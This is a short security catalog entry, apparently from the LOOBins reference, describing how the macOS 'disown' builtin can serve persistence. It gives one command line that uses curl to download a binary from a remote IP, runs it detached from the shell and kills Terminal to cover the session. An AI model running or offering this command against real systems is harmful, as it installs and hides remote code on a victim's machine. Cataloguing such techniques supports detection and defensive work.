CatalogLOOBins

ORCHARD · Tool

disown

1 techniquemacOSLOOBinsGPL-3.0

Start a process and remove it from the jobs table.

PersistencemacOS

The following command downloads a remote binary, sets it to executable, executes the binary, disowns it from the shell it spawned from, and closes the terminal session.

curl -O http://1.1.1.1/updated && chmod +x updated && ./updated & disown && pkill Terminal
Evidence
Upstream reference
Environment
Local host
Compatibility
Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.
Native
Persistence
Detection
No detection content at time of writing: No detection content at time of writing